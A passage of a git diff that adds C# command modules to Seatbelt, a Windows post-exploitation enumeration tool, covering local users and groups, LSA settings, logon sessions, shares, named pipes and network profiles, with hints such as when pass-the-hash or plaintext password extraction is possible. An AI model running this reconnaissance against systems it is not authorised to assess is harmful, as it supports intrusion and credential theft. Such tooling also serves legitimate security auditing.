Seatbelt.Output.TextWriters; +using static Seatbelt.Interop.Netapi32; + + +namespace Seatbelt.Commands.Windows +{ + internal class LocalGroupMembershipCommand : CommandBase + { + public override string Command => "LocalGroups"; + public override string Description => "Non-empty local groups, \"-full\" displays all groups (argument == computername to enumerate)"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LocalGroupMembershipCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // takes an optional remote computername as an argument, otherwise defaults to the localhost + + string? computerName = null; + if(!String.IsNullOrEmpty(ThisRunTime.ComputerName)) + { + computerName = ThisRunTime.ComputerName; + } + else if (args.Length >= 1) + { + computerName = args[0]; + } + + // adapted from https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889 + + WriteHost(Runtime.FilterResults ? "Non-empty Local Groups (and memberships)\n\n" : "All Local Groups (and memberships)\n\n"); + + foreach(var group in GetLocalGroups(computerName)) + { + var members = GetLocalGroupMembers(computerName, group.name)?.ToList(); + if (members != null && members.Any()) + { + yield return new LocalGroupMembershipDTO( + computerName ?? Environment.MachineName, + group.name, + group.comment, + members + ); + } + } + } + } + + internal class LocalGroupMembershipDTO : CommandDTOBase + { + public LocalGroupMembershipDTO(string computerName, string groupName, string groupComment, IEnumerable members) + { + ComputerName = computerName; + GroupName = groupName; + GroupComment = groupComment; + Members = members; + } + + public string ComputerName { get; } + public string GroupName { get; } + public string GroupComment { get; } + public IEnumerable Members { get; } + } + + [CommandOutputType(typeof(LocalGroupMembershipDTO))] + internal class LocalGroupMembershipTextFormatter : TextFormatterBase + { + public LocalGroupMembershipTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + + if (result == null) + { + return; + } + + var dto = (LocalGroupMembershipDTO)result; + WriteLine(" ** {0}\\{1} ** ({2})\n", dto.ComputerName, dto.GroupName, dto.GroupComment); + + if (dto.Members != null) + { + foreach (var member in dto.Members) + { + WriteLine($" {member.Class,-15} {member.Domain + "\\" + member.User,-40} {member.Sid}"); + } + } + + WriteLine(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalSecurityAuthorityCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalSecurityAuthorityCommand.cs new file mode 100644 index 0000000..f9f8890 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalSecurityAuthorityCommand.cs @@ -0,0 +1,91 @@ +using Microsoft.Win32; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class LocalSecurityAuthorityCommand : CommandBase + { + public override string Command => "LSASettings"; + public override string Description => "LSA settings (including auth packages)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LocalSecurityAuthorityCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var settings = ThisRunTime.GetValues(RegistryHive.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Lsa"); + + if ((settings != null) && (settings.Count != 0)) + { + foreach (var kvp in settings) + { + if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.String")) + { + var result = string.Join(",", (string[])kvp.Value); + + yield return new LocalSecurityAuthorityDTO(kvp.Key, result); + } + else if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.Byte")) + { + var result = System.BitConverter.ToString((byte[])kvp.Value); + yield return new LocalSecurityAuthorityDTO(kvp.Key, result); + } + else + { + yield return new LocalSecurityAuthorityDTO(kvp.Key, kvp.Value.ToString()); + } + } + } + } + + internal class LocalSecurityAuthorityDTO : CommandDTOBase + { + public LocalSecurityAuthorityDTO(string key, string value) + { + Key = key; + Value = value; + } + public string Key { get; } + public string Value { get; } + } + + [CommandOutputType(typeof(LocalSecurityAuthorityDTO))] + internal class LocalSecurityAuthorityFormatter : TextFormatterBase + { + public LocalSecurityAuthorityFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (LocalSecurityAuthorityDTO)result; + + WriteLine(" {0,-30} : {1}", dto.Key, dto.Value); + + if (Regex.IsMatch(dto.Key, "Security Packages") && Regex.IsMatch(dto.Value, @".*wdigest.*")) + { + WriteLine(" [*] WDigest is enabled - plaintext password extraction is possible!"); + } + + if (dto.Key.Equals("RunAsPPL", System.StringComparison.InvariantCultureIgnoreCase) && dto.Value == "1") + { + WriteLine(" [*] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily."); + } + + if (dto.Key.Equals("DisableRestrictedAdmin", System.StringComparison.InvariantCultureIgnoreCase) && dto.Value == "0") + { + WriteLine(" [*] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system."); + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalUserCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalUserCommand.cs new file mode 100644 index 0000000..9937654 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalUserCommand.cs @@ -0,0 +1,94 @@ +#nullable disable +using System; +using System.Collections.Generic; +using static Seatbelt.Interop.Netapi32; + + +namespace Seatbelt.Commands.Windows +{ + internal class LocalUserCommand : CommandBase + { + public override string Command => "LocalUsers"; + public override string Description => "Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LocalUserCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // takes an optional remote computername as an argument, otherwise defaults to the localhost + + string computerName = null; + + if (!String.IsNullOrEmpty(ThisRunTime.ComputerName)) + { + computerName = ThisRunTime.ComputerName; + } + else if (args.Length == 1) + { + computerName = args[0]; + } + + // adapted from https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889 + foreach(var localUser in GetLocalUsers(computerName)) + { + var enabled = ((localUser.flags >> 1) & 1) == 0; + var pwdLastSet = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); + var lastLogon = new DateTime(1970, 1, 1, 0, 0, 0); + + if (localUser.passwordAge != 0) + { + pwdLastSet = DateTime.Now.AddSeconds(-localUser.passwordAge); + } + + if(localUser.last_logon != 0) + { + lastLogon = lastLogon.AddSeconds(localUser.last_logon).ToLocalTime(); + } + + yield return new LocalUserDTO( + computerName ?? "localhost", + localUser.name, + enabled, + localUser.user_id, + (Priv)localUser.priv, + localUser.comment, + pwdLastSet, + lastLogon, + localUser.num_logons + ); + } + } + } + + internal class LocalUserDTO : CommandDTOBase + { + public LocalUserDTO(string computerName, string userName, bool enabled, uint rid, Priv userType, string comment, DateTime pwdLastSet, DateTime lastLogon, uint numLogins) + { + ComputerName = computerName; + UserName = userName; + Enabled = enabled; + Rid = rid; + UserType = userType; + Comment = comment; + PwdLastSet = pwdLastSet; + LastLogon = lastLogon; + NumLogins = numLogins; + } + public string ComputerName { get; } + public string UserName { get; } + public bool Enabled { get; } + public uint Rid { get; } + public Priv UserType { get; } + public string Comment { get; } + public DateTime PwdLastSet { get; } + public DateTime LastLogon { get; } + public uint NumLogins { get; } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LogonSessionsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LogonSessionsCommand.cs new file mode 100644 index 0000000..932be9f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LogonSessionsCommand.cs @@ -0,0 +1,271 @@ +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using System.Management; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using static Seatbelt.Interop.Secur32; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class LogonSessionsCommand : CommandBase + { + public override string Command => "LogonSessions"; + public override string Description => "Windows logon sessions"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LogonSessionsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity() || ThisRunTime.ISRemote()) + { + // https://www.pinvoke.net/default.aspx/secur32.lsalogonuser + + // list user logons combined with logon session data via WMI + var userDomainRegex = new Regex(@"Domain=""(.*)"",Name=""(.*)"""); + var logonIdRegex = new Regex(@"LogonId=""(\d+)"""); + + WriteHost("Logon Sessions (via WMI)\r\n"); + + var logonMap = new Dictionary(); + + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT * FROM Win32_LoggedOnUser"); + var data = wmiData.Get(); + + foreach (ManagementObject result in data) + { + var m = logonIdRegex.Match(result["Dependent"].ToString()); + if (!m.Success) + { + continue; + } + + var logonId = m.Groups[1].ToString(); + var m2 = userDomainRegex.Match(result["Antecedent"].ToString()); + if (!m2.Success) + { + continue; + } + + var domain = m2.Groups[1].ToString(); + var user = m2.Groups[2].ToString(); + logonMap.Add(logonId, new[] { domain, user }); + } + + var wmiData2 = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT * FROM Win32_LogonSession"); + var data2 = wmiData2.Get(); + + foreach (var o in data2) + { + var result2 = (ManagementObject)o; + var userDomain = new string[2] { "", "" }; + try + { + userDomain = logonMap[result2["LogonId"].ToString()]; + } + catch { } + var domain = userDomain[0]; + var userName = userDomain[1]; + var startTime = new DateTime(); + var logonType = ""; + + try + { + startTime = ManagementDateTimeConverter.ToDateTime(result2["StartTime"].ToString()); + } + catch { } + + try + { + logonType = $"{((SECURITY_LOGON_TYPE)(int.Parse(result2["LogonType"].ToString())))}"; + } + catch { } + + yield return new LogonSessionsDTO( + "WMI", + userName, + domain, + result2["LogonId"].ToString(), + logonType, + result2["AuthenticationPackage"].ToString(), + startTime, + null, + null, + null, + null, + null + ); + } + } + else + { + // heavily adapted from from Jared Hill: + // https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us + + WriteHost("Logon Sessions (via LSA)\n\n"); + + var logonSessions = new List(); + + var systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate + + var ret = LsaEnumerateLogonSessions(out var count, out var luidPtr); // get an array of pointers to LUIDs + + for (ulong i = 0; i < count; i++) + { + // TODO: Check return value + ret = LsaGetLogonSessionData(luidPtr, out var sessionData); + var data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); + + // if we have a valid logon + if (data.PSiD != IntPtr.Zero) + { + // get the account username + var username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); + + // convert the security identifier of the user + var sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); + + // domain for this account + var domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); + + // authentication package + var authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); + + // logon type + var logonType = (SECURITY_LOGON_TYPE)data.LogonType; + + // datetime the session was logged in + var logonTime = systime.AddTicks((long)data.LoginTime); + + // user's logon server + var logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); + + // logon server's DNS domain + var dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); + + // user principalname + var upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); + + var logonID = ""; + try { logonID = data.LoginID.LowPart.ToString(); } + catch { } + + var userSID = ""; + try { userSID = sid.Value; } + catch { } + + yield return new LogonSessionsDTO( + "LSA", + username, + domain, + logonID, + logonType.ToString(), + authpackage, + null, + logonTime, + logonServer, + dnsDomainName, + upn, + userSID + ); + } + + // move the pointer forward + luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); + LsaFreeReturnBuffer(sessionData); + } + LsaFreeReturnBuffer(luidPtr); + } + } + + internal class LogonSessionsDTO : CommandDTOBase + { + public LogonSessionsDTO(string enumerationMethod, string userName, string domain, string logonId, string logonType, string authenticationPackage, DateTime? startTime, DateTime? logonTime, string? logonServer, string? logonServerDnsDomain, string? userPrincipalName, string? userSid) + { + EnumerationMethod = enumerationMethod; + UserName = userName; + Domain = domain; + LogonId = logonId; + LogonType = logonType; + AuthenticationPackage = authenticationPackage; + StartTime = startTime; + LogonTime = logonTime; + LogonServer = logonServer; + LogonServerDnsDomain = logonServerDnsDomain; + UserPrincipalName = userPrincipalName; + UserSID = userSid; + } + public string EnumerationMethod { get; } + + public string UserName { get; } + + public string Domain { get; } + + public string LogonId { get; } + + public string LogonType { get; } + + public string AuthenticationPackage { get; } + + public DateTime? StartTime { get; } + + public DateTime? LogonTime { get; } + + public string? LogonServer { get; } + + public string? LogonServerDnsDomain { get; } + + public string? UserPrincipalName { get; } + public string? UserSID { get; } + + } + + [CommandOutputType(typeof(LogonSessionsDTO))] + internal class LogonSessionsTextFormatter : TextFormatterBase + { + public LogonSessionsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (LogonSessionsDTO)result; + + if (dto.EnumerationMethod.Equals("WMI")) + { + WriteLine("\n UserName : {0}", dto.UserName); + WriteLine(" Domain : {0}", dto.Domain); + WriteLine(" LogonId : {0}", dto.LogonId); + WriteLine(" LogonType : {0}", dto.LogonType); + WriteLine(" AuthenticationPackage : {0}", dto.AuthenticationPackage); + WriteLine($" StartTime : {dto.StartTime}"); + WriteLine(" UserPrincipalName : {0}", dto.UserPrincipalName); + + } + else + { + // LSA enumeration + WriteLine("\n UserName : {0}", dto.UserName); + WriteLine(" Domain : {0}", dto.Domain); + WriteLine(" LogonId : {0}", dto.LogonId); + WriteLine(" UserSID : {0}", dto.UserSID); + WriteLine(" AuthenticationPackage : {0}", dto.AuthenticationPackage); + WriteLine(" LogonType : {0}", dto.LogonType); + WriteLine(" LogonType : {0}", dto.LogonTime); + WriteLine(" LogonServer : {0}", dto.LogonServer); + WriteLine(" LogonServerDNSDomain : {0}", dto.LogonServerDnsDomain); + WriteLine(" UserPrincipalName : {0}", dto.UserPrincipalName); + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/MappedDrivesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/MappedDrivesCommand.cs new file mode 100644 index 0000000..556ec27 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/MappedDrivesCommand.cs @@ -0,0 +1,57 @@ +#nullable disable +using System.Collections.Generic; +using System.Management; + + +namespace Seatbelt.Commands.Windows +{ + internal class MappedDrivesCommand : CommandBase + { + public override string Command => "MappedDrives"; + public override string Description => "Users' mapped drives (via WMI)"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public MappedDrivesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT * FROM win32_networkconnection"); + var data = wmiData.Get(); + + WriteHost("Mapped Drives (via WMI)\n"); + + foreach (ManagementObject result in data) + { + yield return new MappedDrivesDTO() + { + LocalName = result["LocalName"].ToString(), + RemoteName = result["RemoteName"].ToString(), + RemotePath = result["RemotePath"].ToString(), + Status = result["Status"].ToString(), + ConnectionState = result["ConnectionState"].ToString(), + Persistent = result["Persistent"].ToString(), + UserName = result["UserName"].ToString(), + Description = result["Description"].ToString() + }; + } + } + } + + internal class MappedDrivesDTO : CommandDTOBase + { + public string LocalName { get; set; } + public string RemoteName { get; set; } + public string RemotePath { get; set; } + public string Status { get; set; } + public string ConnectionState { get; set; } + public string Persistent { get; set; } + public string UserName { get; set; } + public string Description { get; set; } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/MicrosoftUpdatesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/MicrosoftUpdatesCommand.cs new file mode 100644 index 0000000..ee18929 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/MicrosoftUpdatesCommand.cs @@ -0,0 +1,105 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands.Windows +{ + internal class MicrosoftUpdateCommand : CommandBase + { + public override string Command => "MicrosoftUpdates"; + public override string Description => "All Microsoft updates (via COM)"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; + + // TODO: remote? https://stackoverflow.com/questions/15786294/retrieve-windows-update-history-using-wuapilib-from-a-remote-machine + + public MicrosoftUpdateCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + WriteHost("Enumerating *all* Microsoft updates\r\n"); + + // oh how I hate COM... + var searcher = Type.GetTypeFromProgID("Microsoft.Update.Searcher"); + var searcherObj = Activator.CreateInstance(searcher); + + // get the total number of updates + var count = (int)searcherObj.GetType().InvokeMember("GetTotalHistoryCount", BindingFlags.InvokeMethod, null, searcherObj, new object[] { }); + + // get the pointer to the update collection + var results = searcherObj.GetType().InvokeMember("QueryHistory", BindingFlags.InvokeMethod, null, searcherObj, new object[] { 0, count }); + + for (int i = 0; i < count; ++i) + { + // get the actual update item + var item = searcherObj.GetType().InvokeMember("Item", BindingFlags.GetProperty, null, results, new object[] { i }); + + // get our properties + // ref - https://docs.microsoft.com/en-us/windows/win32/api/wuapi/nn-wuapi-iupdatehistoryentry + var title = searcherObj.GetType().InvokeMember("Title", BindingFlags.GetProperty, null, item, new object[] { }).ToString(); + var date = searcherObj.GetType().InvokeMember("Date", BindingFlags.GetProperty, null, item, new object[] { }); + var description = searcherObj.GetType().InvokeMember("Description", BindingFlags.GetProperty, null, item, new object[] { }); + var clientApplicationID = searcherObj.GetType().InvokeMember("ClientApplicationID", BindingFlags.GetProperty, null, item, new object[] { }); + + string hotfixId = ""; + Regex reg = new Regex(@"KB\d+"); + var matches = reg.Matches(title); + if (matches.Count > 0) + { + hotfixId = matches[0].ToString(); + } + + yield return new MicrosoftUpdateDTO( + hotfixId, + Convert.ToDateTime(date.ToString()).ToUniversalTime(), + title, + clientApplicationID.ToString(), + description.ToString() + ); + + Marshal.ReleaseComObject(item); + } + + Marshal.ReleaseComObject(results); + Marshal.ReleaseComObject(searcherObj); + } + } + + internal class MicrosoftUpdateDTO : CommandDTOBase + { + public MicrosoftUpdateDTO(string hotFixID, DateTime? installedOnUTC, string title, string dlientApplicationID, string description) + { + HotFixID = hotFixID; + InstalledOnUTC = installedOnUTC; + Title = title; + ClientApplicationID = dlientApplicationID; + Description = description; + } + public string HotFixID { get; set; } + public DateTime? InstalledOnUTC { get; set; } + public string Title { get; set; } + public string ClientApplicationID { get; set; } + public string Description { get; set; } + } + + [CommandOutputType(typeof(MicrosoftUpdateDTO))] + internal class MicrosoftUpdateFormatter : TextFormatterBase + { + public MicrosoftUpdateFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (MicrosoftUpdateDTO)result; + + WriteLine($" {dto.HotFixID,-10} {dto.InstalledOnUTC?.ToLocalTime(),-23} {dto.ClientApplicationID,-20} {dto.Title}"); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NamedPipesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NamedPipesCommand.cs new file mode 100644 index 0000000..d3e0728 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NamedPipesCommand.cs @@ -0,0 +1,111 @@ +#nullable disable +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using System.Security.AccessControl; +using static Seatbelt.Interop.Kernel32; +using System.IO; + + +namespace Seatbelt.Commands.Windows +{ + internal class NamedPipesCommand : CommandBase + { + public override string Command => "NamedPipes"; + public override string Description => "Named pipe names and any readable ACL information."; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + + public override bool SupportRemote => false; // almost certainly not possible + + public NamedPipesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // lists named pipes + // reference - https://stackoverflow.com/questions/25109491/how-can-i-get-a-list-of-all-open-named-pipes-in-windows-and-avoiding-possible-ex/25126943#25126943 + var namedPipes = new List(); + WIN32_FIND_DATA lpFindFileData; + + var ptr = FindFirstFile(@"\\.\pipe\*", out lpFindFileData); + namedPipes.Add(lpFindFileData.cFileName); + while (FindNextFile(ptr, out lpFindFileData)) + { + namedPipes.Add(lpFindFileData.cFileName); + } + FindClose(ptr); + + namedPipes.Sort(); + + foreach (var namedPipe in namedPipes) + { + FileSecurity security; + var sddl = ""; + try + { + security = File.GetAccessControl(System.String.Format("\\\\.\\pipe\\{0}", namedPipe)); + sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All); + } + catch + { + sddl = "ERROR"; + } + + if (!System.String.IsNullOrEmpty(sddl) && !sddl.Equals("ERROR")) + { + yield return new NamedPipesDTO() + { + Name = namedPipe, + Sddl = sddl + //SecurityDescriptor = new RawSecurityDescriptor(sddl) + }; + } + else + { + yield return new NamedPipesDTO() + { + Name = namedPipe, + Sddl = sddl + //SecurityDescriptor = null + }; + } + } + } + } + + internal class NamedPipesDTO : CommandDTOBase + { + public string Name { get; set; } + + public string Sddl { get; set; } + + // public RawSecurityDescriptor SecurityDescriptor { get; set; } + } + + [CommandOutputType(typeof(NamedPipesDTO))] + internal class NamedPipesFormatter : TextFormatterBase + { + public NamedPipesFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (NamedPipesDTO)result; + + WriteLine(" \\\\.\\pipe\\{0}", dto.Name); + if (!dto.Sddl.Equals("ERROR")) + { + //WriteLine(" Owner : {0}", dto.SecurityDescriptor.Owner); + //foreach (CommonAce rule in dto.SecurityDescriptor.DiscretionaryAcl) + //{ + // WriteLine(" {0} :", rule.SecurityIdentifier); + // WriteLine(" {0} : {1}", rule.AceType, (GenericAceMask)rule.AccessMask); + //} + WriteLine(" SDDL : {0}", dto.Sddl); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NetworkProfilesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NetworkProfilesCommand.cs new file mode 100644 index 0000000..910d8fb --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NetworkProfilesCommand.cs @@ -0,0 +1,113 @@ +#nullable disable +using System; +using System.Collections.Generic; +using Seatbelt.Util; +using Microsoft.Win32; + +namespace Seatbelt.Commands.Windows +{ + enum NetworkCategory + { + PUBLIC = 0, + HOME = 1, + WORK = 2 + } + + // ref - https://social.technet.microsoft.com/Forums/windows/en-US/b0e13a16-51a6-4aca-8d44-c85e097f882b/nametype-in-nla-information-for-a-network-profile + enum NetworkType + { + WIRED = 6, + VPN = 23, + WIRELESS = 25, + MOBILE_BROADBAND = 243 + } + + internal class NetworkProfilesCommand : CommandBase + { + public override string Command => "NetworkProfiles"; + public override string Description => "Windows network profiles"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public NetworkProfilesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator."); + yield break; + } + + var profileGUIDs = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\"); + foreach (var profileGUID in profileGUIDs) + { + var ProfileName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "ProfileName"); + + var Description = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "Description"); + + var NetworkCategory = (NetworkCategory)ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "Category"); + + var NetworkType = (NetworkType)ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "NameType"); + + var Managed = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "Managed"); + + var dateCreatedBytes = ThisRunTime.GetBinaryValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "DateCreated"); + var DateCreated = ConvertBinaryDateTime(dateCreatedBytes); + + var dateLastConnectedBytes = ThisRunTime.GetBinaryValue(RegistryHive.LocalMachine, $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles\\{profileGUID}", "DateCreated"); + var DateLastConnected = ConvertBinaryDateTime(dateLastConnectedBytes); + + yield return new NetworkProfilesDTO() + { + ProfileName = ProfileName, + Description = Description, + NetworkCategory = NetworkCategory, + NetworkType = NetworkType, + Managed = Managed, + DateCreated = DateCreated, + DateLastConnected = DateLastConnected, + }; + } + } + + public DateTime ConvertBinaryDateTime(byte[] bytes) + { + // helper that does some stupid Microsoft format conversion + + if (bytes == null || bytes.Length == 0) + { + return new DateTime(); + } + + // ...yes, I know this conversion is stupid + // little endian, bytes transformed to text hex and then converted to an int + // ref- http://cfed-ttf.blogspot.com/2009/08/decoding-datecreated-and.html + var year = Convert.ToInt32($"{bytes[1]:X2}{bytes[0]:X2}", 16); + var month = Convert.ToInt32($"{bytes[3]:X2}{bytes[2]:X2}", 16); + var weekday = Convert.ToInt32($"{bytes[5]:X2}{bytes[4]:X2}", 16); + var day = Convert.ToInt32($"{bytes[7]:X2}{bytes[6]:X2}", 16); + var hour = Convert.ToInt32($"{bytes[9]:X2}{bytes[8]:X2}", 16); + var min = Convert.ToInt32($"{bytes[11]:X2}{bytes[10]:X2}", 16); + var sec = Convert.ToInt32($"{bytes[13]:X2}{bytes[12]:X2}", 16); + + return new DateTime(year, month, day, hour, min, sec); + } + + internal class NetworkProfilesDTO : CommandDTOBase + { + public string ProfileName { get; set; } + public string Description { get; set; } + public NetworkCategory NetworkCategory { get; set; } + public NetworkType NetworkType { get; set; } + public object Managed { get; set; } + public DateTime DateCreated { get; set; } + public DateTime DateLastConnected { get; set; } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NetworkSharesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NetworkSharesCommand.cs new file mode 100644 index 0000000..324760f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NetworkSharesCommand.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Management; + + +namespace Seatbelt.Commands.Windows +{ + internal class NetworkSharesCommand : CommandBase + { + public override string Command => "NetworkShares"; + public override string Description => "Network shares exposed by the machine (via WMI)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public NetworkSharesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // lists current network shares for this system via WMI + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT * FROM Win32_Share"); + using var data = wmiData.Get(); + + foreach (ManagementObject result in data) + { + yield return new NetworkShareDTO( + result["Name"], + result["Path"], + result["Description"], + (uint)result["type"] + ); + } + } + } + + internal class NetworkShareDTO : CommandDTOBase + { + public NetworkShareDTO(object name, object path, object description, uint type) + { + var typeDict = new Dictionary() + { + { 0, "Disk Drive" }, + { 1, "Print Queue" }, + { 2, "Device " }, + { 3, "IPC" }, + { 2147483648, "Disk Drive Admin" }, + { 2147483649, "Print Queue Admin" }, + { 2147483650, "Device Admin" }, + { 2147483651, "IPC Admin" }, + }; + Name = name; + Path = path; + Description = description; + Type = typeDict[type]; + } + public object Name { get; } + public object Path { get; } + public object Description { get; } + public object Type { get; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NtlmSettingsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/NtlmSettingsCommand.cs new file mode 100644 index 0000000..ce2846c --- /dev/null +++ 